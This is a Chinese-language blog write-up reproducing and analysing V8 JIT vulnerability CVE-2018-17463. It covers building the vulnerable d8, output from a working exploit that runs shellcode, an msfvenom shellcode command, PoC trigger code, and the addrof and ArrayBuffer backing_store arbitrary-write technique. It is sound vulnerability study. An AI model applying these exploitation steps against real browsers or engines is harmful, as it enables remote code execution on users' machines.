0%

V8引擎CVE-2018-17463漏洞分析记录

这是一个关于chromium的v8引擎漏洞,跟着复现一下,顺便了解浏览器漏洞的挖掘方法。

搜集资料

image-20200414004028256

漏洞存在于src/compiler/js-operator.cc:625。在此处,代码定义了许多常见IR操作的标识,存在问题的是对JSCreateObject操作的判断。

image-20200414004214190

准备环境

实验环境:kali linux

安装depot_tools

depot_tools是个工具包,里面包含gclient、gcl、gn和ninja等工具。其中gclient是代码获取工具,它其实是利用了svn和git。主要涉及的depot_tools文件夹下的文件有:gclient、gclient.pysubcommand.py、gclient_utils.py。

克隆depot_tools仓库源代码:

1
$ git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git

depot_tools的路径添加到环境变量:

1
$ export PATH=/path/to/depot_tools:$PATH

构建v8引擎

切换代码至漏洞修复前的版本:

1
2
git checkout 568979f4d891bafec875fab20f608ff9392f4f29
gclient sync

https://v8.dev/docs/build

https://zhuanlan.zhihu.com/p/25120909

踩坑记录

gclient sync 失败:

解决办法:

1
gclient config https://github.com/v8/v8.git

对源码进行编译:

1
2
tools/dev/v8gen.py x64.debug 		//生成ninja构建文件
ninja -C out.gn/x64.debug d8 //编译v8源代码

v8gen.py生成ninja构建文件失败:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 ⚡ root@kali-guiu ~/CVE-2018-17463/v8 ➦ 568979f4d8 tools/dev/v8gen.py x64.debug -vv
################################################################################
/usr/bin/python -u tools/mb/mb.py gen -f infra/mb/mb_config.pyl -m developer_default -b x64.debug out.gn/x64.debug

Writing """\
is_debug = true
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_slow_dchecks = true
v8_optimized_debug = false
""" to /root/CVE-2018-17463/v8/out.gn/x64.debug/args.gn.

/root/CVE-2018-17463/v8/buildtools/linux64/gn gen out.gn/x64.debug --check
-> returned 1
ERROR at //gni/v8.gni:8:1: Can't load input file.
import("//build/split_static_library.gni")
^----------------------------------------
Unable to load:
/root/CVE-2018-17463/v8/build/split_static_library.gni
I also checked in the secondary tree for:
/root/CVE-2018-17463/v8/build/secondary/build/split_static_library.gni
See //BUILD.gn:18:1: whence it was imported.
import("gni/v8.gni")
^------------------
GN gen failed: 1

注意到是build/split_static_library.gni文件导入错误,去源码中定位到错误代码处,发现并没有这个文件。

切回最新版本,编译,仍然失败。

考虑是因为拉取代码的问题(毕竟404),重来,fetch v8 重新拉取代码。

发现回退版本编译还是失败,使用最新版本编译成功。

切回master分支,对比该文件,发现split_static_library.gni已经在后面的更新中被移除了,查看发现build文件夹为另一个git子模块,且已经更新到最新(2020.3.1)。

image-20200413195126439

image-20200413195149228

那么把报错这行改掉?

失败。

那将需要的这个文件加回去?(谷歌快照找到了这个文件的内容),加回去仍然失败。

最后我用git revert撤销了修复漏洞那一次的修改,编译仍然失败,查看发现build子模块仍然是最新版本(2020.3.1),于是想到可能是编译工具太新了,就手动回退build子模块到2018.9.26之前(该漏洞修复时的commit时间)的某次提交(时间相近的build包肯定就匹配这个版本了吧)。

发现还是不通过,更换多个版本发现仍然会出现新问题。总之就是不匹配。

然后回到最新版本,手动将关于漏洞的改动撤销,编译通过。

使用Google V8引擎的CVE-2018-17463漏洞分析 文中的pocexp脚本测试:

结果:poc能探测到漏洞但是exp拿不到shell,应该是后续的利用链出了问题。

无奈重新编译,仔细查看官方文档,发现官方仓库中没有build文件夹(这里才反应过来,build是git子模块啊怎么可能在一个仓库里被同步,也不方便管理啊),猜想build文件夹是gclient sync同步的时候自动下载的。于是去翻官方文档,发现确实是需要每次回退版本之后都要gclient sync一下(不断迭代过程中构建方式发生了变化)。而我的同步操作是在版本回退之前做的,难怪最新版本能够编译通过。

解决:

回退到修复前的版本,再次使用gclient sync命令,同步当前适合的编译脚本???(查这个命令之后再写),漫长的等待之后,再编译,成功了。

执行exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
⚡ root@kali-guiu  ~/CVE-2018-17463/v8/out.gn/x64.debug  ➦ 568979f4d8  ./d8 ../exp.js     
step 0: Game start
Hacked by P4nda
step 1: check whether vulnerability exists
[+] log: CVE-2018-17463 exists in the d8
step 2: find collision
[+] log: b6 & b31 are collision in directory
step 3: get address of JSFunciton
[+] log: 0x00001dfb486a8d81
step 4: make ArrayBuffer's backing_store -> JSFunciton
[+] SharedFunctionInfo addr :0x00001dfb486a8d49
step 5: make ArrayBuffer's backing_store -> SharedFunctionInfo
[+] WasmExportedFunctionData addr :0x00001dfb486a8d21
step 6: make ArrayBuffer's backing_store -> WasmExportedFunctionData
[+] WasmInstanceObject addr :0x00001dfb486a8b91
step 7: make ArrayBuffer's backing_store -> WasmInstanceObject
[+] imported_function_targets addr :0x00005557617de560
step 8: make ArrayBuffer's backing_store -> imported_function_targets
[+] code addr :0x00003424ae2d7560
[+] log: step 9: make ArrayBuffer's backing_store -> rwx_area
step 10: write shellcode for poping up a calculator
[+] Press Any key to execute Shellcode

No protocol specified
Error: Can't open display: :0.0

可见成功,但是没有跳出calculater,可能ubuntukali开启计算器的命令不一样,那换个shellcode

msf生成shellcode

1
msfvenom -p linux/x64/exec CMD=screenfetch -f num

image-20200414003058201

计算器始终打不开(GTK的问题),shellcode就用了screenfetch代替

exp:

image-20200414003311934

成功,换bash也成功了。

问题:

切换到指定分支之后无法编译。

(原因:第一次接触到gclient不会用,轻信了谷歌搜到的教程,还是要看官方文档)

开始分析

调试v8引擎

仅仅复现利用还是不够的,起码要亲自将漏洞跟一遍。

v8引擎调试环境:

参考教程:

漏洞原因分析:

问题在于src/compiler/js-operator.cc:625处对JSCreateObject操作的表示存在判断错误,代码如下:

1
V(CreateObject, Operator::kNoWrite, 1, 1)

kNoWrite操作标识的定义如下:

1
2
3
4
5
6
7
8
9
10
11
  // transformations for nodes that have this operator.
enum Property {
kNoProperties = 0,
kCommutative = 1 << 0, // OP(a, b) == OP(b, a) for all inputs.
kAssociative = 1 << 1, // OP(a, OP(b,c)) == OP(OP(a,b), c) for all inputs.
kIdempotent = 1 << 2, // OP(a); OP(a) == OP(a).
kNoRead = 1 << 3, // Has no scheduling dependency on Effects
kNoWrite = 1 << 4, // Does not modify any Effects and thereby
// create new scheduling dependencies.
... ...
};

ObjectCreate()会利用原有Object中的Map生成新的Map,再根据Map的类型,去生成新的Object

调试中的具体表现是fast mode的map会变成dictionary mode。而这明显是一个side-effect的操作,从而形成了漏洞。

V8 对于 JavaScript 对象的两种访问模式:

  • Dictionary(Slow) Mode:字典模式也称为哈希表模式,V8 使用哈希表来存储对象的属性。
  • Stable(Fast) Mode:使用类似数组(C Struct)结构来存储对象的属性并使用 Offset 进行访问。
poc2.js
1
2
3
4
let a = {x : 1};
%DebugPrint(a);
Object.create(a);
%DebugPrint(a);

image-20200414132308805

ObjectCreate()会把一个Object全部的属性值都放到properties中存储,并将原先的线性结构改成hash表的字典结构。

利用

真正的漏洞在于:

当执行了ObjectCreate()之后,原本Stable(Fast) Mode的属性会被转化为Dictionary Mode,正常情况下,JIT生成的IR-Code在每次访问属性之前都会做类型检查,然而操作标识被设置为kNoWrite之后,会跳过之后的类型检查,JIT优化后的代码依旧按照Stable(Fast) Mode使用offset访问属性,造成了内存泄露。

利用步骤

可以构造一个函数,首先访问一次其内部变量,然后调用ObjectCreate操作,再次访问另一个变量,那么可能造成第二个变量的类型检查消失,然后利用DictionaryPropertiesFastProperties对属性的访问方式区别来执行任意代码。

首先构造一个数组x,初始化时赋予属性a=0x1234,增加属性b=0x5678

构造函数bad_create:首先访问x.a,这里可以通过类型检查,而在后续返回x.b,由于JSCreate的属性是kNoWrite的,则返回之前的x.b二次检查消失,造成仍然返回一个与x.b偏移相同的数据

由于Properties的内存分布发生变化,所以返回值一定不会是0x5678

验证poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function check_vul(){
function bad_create(x){
x.a;
Object.create(x);
return x.b;

}

for (let i = 0;i < 10000; i++){
let x = {a : 0x1234};
x.b = 0x5678;
let res = bad_create(x);
//log(res);
if( res != 0x5678){
console.log(i);
console.log("CVE-2018-17463 exists in the d8");
return;
}

}
throw "bad d8 version";

}
check_vul();

执行结果:

image-20200414150541447

即会在5000多次调用之后执行JIT优化,触发漏洞。

此时虽然可以触发漏洞,但是**想要利用漏洞执行任意代码,还需要让其找到对应属性的偏移地址,才能进行后续的利用。**而且由于DictionaryProperties是一个哈希表,每次执行时对应属性的偏移地址在不断变化。

验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
let a1 = {x : 1,y:2,z:3};
a1.b = 4;
a1.c = 5;
a1.d = 6;
let a2 = {u : 2,v:3,w:4};
a2.e = 7;
a2.f = 8;
a2.g = 9;
Object.create(a1);
%DebugPrint(a1);
Object.create(a2);
%DebugPrint(a2);
readline();

第一次(以a2为例):

image-20200414153741660

第二次:

image-20200414153812356

找到另一个规律:

在同一次执行过程中,相同属性构造的Object,在DictionaryProperties中的偏移是相同的,验证:

1
2
3
4
5
6
7
8
9
10
11
12
13
let a1 = {x : 1,y:2,z:3};
a1.b = 4;
a1.c = 5;
a1.d = 6;
let a2 = {x : 2,y:3,z:4};
a2.b = 7;
a2.c = 8;
a2.d = 9;
Object.create(a1);
%DebugPrint(a1);
Object.create(a2);
%DebugPrint(a2);
readline();

image-20200414154238022

那么就很简单了,把每次执行的所有属性值记下来,然后当触发漏洞时,根据属性值找到对应的属性名,即确定了一对在属性改变前后可以对应的属性名,以达到恶意函数返回a.x1,实质上是返回a.x2的目的。

假设上面得到的键值对为XY。则构建一个全新的Object

1
2
o.X = {x1:1.1,x2:1.2};
o.Y = {y1:obj};

并且构造恶意函数:

1
2
3
4
5
function bad_create(o){
o.a;
this.Object.create(o);
return o.X.x1;
}

很容易理解,当bad_create()返回o.X.x1时,由于漏洞的存在,实际返回的应该是o.Y.y1,即为obj的地址。

拿到了地址,接下来向对应地址写入shellcode即可实现漏洞利用。

任意地址写操作

利用ArrayBuffer对象,通过漏洞链修改ArrayBufferbacking_store属性,从而实现任意地址的写操作。

1
2
3
4
5
6
7
function bad_create(o,value){
o.a;
this.Object.create(o);
let ret = o.${X}.x0.x2;
o.${X}.x0.x2 = value;
return ret;
}

只需要构造一个ArrayBuffer对象o,当我们对x0.x2进行赋值操作的时候,由于漏洞的存在,实际上我们改变的是ArrayBufferbacking_store属性。

之后,不断的利用该ArrayBuffer对象,泄露并修改其backing_store成员指向待读写区域,最终执行我们放到该内存区域的shellcode